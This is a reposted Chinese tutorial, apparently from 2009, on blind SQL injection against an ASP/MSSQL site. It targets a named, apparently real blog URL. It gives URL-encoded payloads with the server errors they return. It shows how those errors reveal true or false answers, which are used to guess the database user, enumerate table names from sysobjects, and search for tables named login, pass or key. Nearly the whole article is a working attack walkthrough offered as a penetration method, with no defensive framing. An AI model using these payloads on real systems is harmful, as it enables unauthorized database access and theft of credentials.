当前位置: 首页 > 图文教程 > 服务器 > 安全防护 > 如何灵活地运用SQL Injection做数据库渗透

安全防护
注意防范搜索引擎网站的漏洞 避免遭受恶意攻击
IRC变种病毒在MSN上大行其道 可被黑客操纵
“关机能手”自动关闭电脑发起ARP攻击
打造SQL Server2000的安全策略
通过IE才能诱发 Firefox2.0发现重大漏洞
安全知识 当今最流行网络攻击六大趋势
安全防护:07月14日-16日病毒木马预警
用瑞星密码保护功能保护QQ密码
IE和Firefox混着用易遭黑客攻击
"卤猪"病毒毁你没商量 可让用户系统崩溃
自己动手删除各种病毒遗留文件
7月18日:瑞星播报--“灰鸽子变种HO”病毒
木马播报 警惕网上被“钓鱼”
危险病毒卤猪活动频繁 Linux等系统不受影响
即时通讯危险揭秘 网上聊天五大安全危机应对
揭密局域网计算机病毒独有的七大特点
利用DDOS攻击 网络安全公司大赚其钱
谨防小不点变种伪装成微软版本诱惑用户
通过移动存储设备传播的木马呈现上升趋势
jsp防盗链

安全防护 中的 如何灵活地运用SQL Injection做数据库渗透


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-29   浏览: 43 ::
收藏到网摘: n/a

如何灵活地运用SQL Injection做数据库渗透的一种思路

如今,很多关于mssql数据库的渗透技巧已不能有效地获取有用的数据值。比如在一个怀疑是注入点的地方

www.xxxxx.com/blog.asp?id=4

当加入" ' "符号进行注入测试时,

www.xxxxx.com/blog.asp?id=4'

出错信息是,

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '4? to a column of data type int

我们知道它不对" ' "符号进行过滤。再用如下语句测试,

_blank>http://www.aquavelvas.com/blog.asp?id=4 and 1=1

出错信息是,

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '4 and 1=1' to a column of data type int

好,再来继续测试,

_blank>http://www.aquavelvas.com/blog.asp?id=4'%20and%20'1'='1

这次出错讯息不同了,如下

[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ' and '

我们的" ' "符号加对了,再继续测试,

_blank>http://www.aquavelvas.com/blog.asp?id=4'%20and%20user>'0

出错信息如下,

[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ' and user>'

应该是语法不允许直接回值,是不是不能再继续了呢?想想其他办法,就看user值的长度吧,

_blank>http://www.aquavelvas.com/blog.asp?id=4'%20and%20len(user)>'0

出错信息是,

[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ' and len(user)>'

好,我们知道如果出错信息是Syntax error...或Either BOF or EOF is True...的话,那语句在逻辑上是错的;而如果出错信息是Incorrect syntax...的话,那语句在逻辑上就是对的。当处理len(user)>0,凭着刚才的想法,我们知道在逻辑上这是对的。

我们试试逻辑上错的语句,

_blank>http://www.aquavelvas.com/blog.asp?id=4'%20and%20user%20'1'='2

果然,出错信息是,

Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record

从len(user)>0这语法的基础上,我们得知user的长度是7,之后再用left(user,1)=a这语法来猜出user名是
thomasa。再用db_name()这个function,我们可猜出数据库名。

好了,如何猜表名呢?就先猜表名的长度吧,

就用如下语句,

len(select top 1 name from sysobjects where xtype='U')>10
len(select top 1 name from sysobjects where xtype='U')>9
len(select top 1 name from sysobjects where xtype='U')>8
...

(猜表名的工作是很烦人,建议用perl写个script来玩玩)

再猜表名,

left((select top 1 name from sysobjects where xtype='U'),1)=a
left((select top 1 name from sysobjects where xtype='U'),2)=ab
left((select top 1 name from sysobjects where xtype='U'),3)=abc
...

好了,我们知道第一个表名是'geoipcountrywhois' (知道为什么我建议写个perl script吧!)

再继续猜表名,

len(select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')>10
len(select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')>9
len(select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')>8
...

left((select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')),1)=b
left((select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')),1)=l
left((select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')),1)=o
....

好第二个表名是blog,之后的表名可用('geoipcountrywhois','blog')来继续猜,然而,这显然不是好办法。为什么我们不进行搜索呢?

如何搜索呢?就用如下的语句吧,

(select count(*) from sysobjects where xtype='U' and name like '%login%')=0
(select count(*) from sysobjects where xtype='U' and name like '%pass%')=0
(select count(*) from sysobjects where xtype='U' and name like '%key%')=0

(记得将" % "这符号换成" %25 "才是正确的输入)

好了,通过逻辑上对或错的判断,我们也可以对数据库进行渗透,不再局限于回弹显示值。

希望这思路能开阔注入技术的演变。